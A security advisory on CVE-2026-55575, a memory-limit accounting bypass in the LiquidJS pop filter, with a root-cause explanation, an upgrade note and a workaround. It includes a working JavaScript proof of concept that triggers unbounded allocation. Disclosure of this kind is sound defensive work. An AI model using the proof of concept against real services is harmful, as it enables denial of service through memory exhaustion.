highCVE-2026-55575Jul 24, 2026

CVE-2026-55575: LiquidJS pop Filter memoryLimit Accounting Bypass

Shubham Kandhare
Security Engagement Manager, SecureLayer7

The pop array filter in LiquidJS allocates a full clone of its input without counting that allocation against the configured memoryLimit, letting an attacker silently blow past the memory cap that…

Packageliquidjs
Ecosystemnpm
Affected<= 10.27.0
Fixed in10.27.1
CVE-2026-55575: LiquidJS pop Filter memoryLimit Accounting Bypass

The problem

Every array-output filter in src/filters/array.ts (shift, unshift, compact, concat, reverse, slice, map, sortBy, where, group_by, uniq) calls this.context.memoryLimit.use(array.length) before allocating its working buffer. The pop filter does neither: it has no this: FilterImpl parameter and no memoryLimit.use() call.

The result is that a render with memoryLimit: 100 and a 5-million-element context array will correctly throw "memory alloc limit exceeded" for {{ a | shift }} but will silently succeed for {{ a | pop }}, allocating an O(N) clone against the raw Node.js heap. Under concurrent load, each parallel request allocates its own unguarded clone, and the practical ceiling is OOM-kill.

Proof of concept

A working proof-of-concept for CVE-2026-55575 in liquidjs, with the exact payload below.

javascript
const { Liquid } = require('liquidjs');

const l    = new Liquid({ memoryLimit: 100 }); // 100-unit budget
const huge = Array(5_000_000).fill('x');         // 5M-element array

(async () => {
  // shift: correctly blocked
  try { await l.parseAndRender('{{ a | shift | size }}', { a: huge }); }
  catch (e) { console.log('shift:   ' + e.message); }
  // => memory alloc limit exceeded, line:1, col:1

  // pop: budget NOT enforced — allocation proceeds
  const out = await l.parseAndRender('{{ a | pop | size }}', { a: huge });
  console.log('pop:     OK, size=' + out);
  // => pop:     OK, size=4999999
})();

The root cause is a missing this: FilterImpl parameter on the pop function and no call to this.context.memoryLimit.use(array.length) before the spread clone [...toArray(v)]. Compare the vulnerable pop body with the shift body directly below it in src/filters/array.ts: shift acquires the FilterImpl context and calls memoryLimit.use(array.length) before spreading.

The patch (commit 8a0c74a, PR #907) adds this: FilterImpl to the pop signature and inserts the memoryLimit.use() call, mirroring shift exactly. No API or behavior change for callers that stay within budget; out-of-budget calls now throw the standard "memory alloc limit exceeded" error the sibling filters already throw.

CWE-770 applies: resources are allocated without any throttling check.

The fix

Upgrade to liquidjs 10.27.1 (commit 8a0c74a). The one-line patch adds this.context.memoryLimit.use(array.length) to the pop filter before its spread clone, bringing it in line with every other array-output filter. If you cannot upgrade immediately, register a replacement filter that does the accounting manually:

``js liquid.registerFilter('pop', function (v) { const arr = Array.from(v ?? []); this.context.memoryLimit.use(arr.length); arr.pop(); return arr; }); ``

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research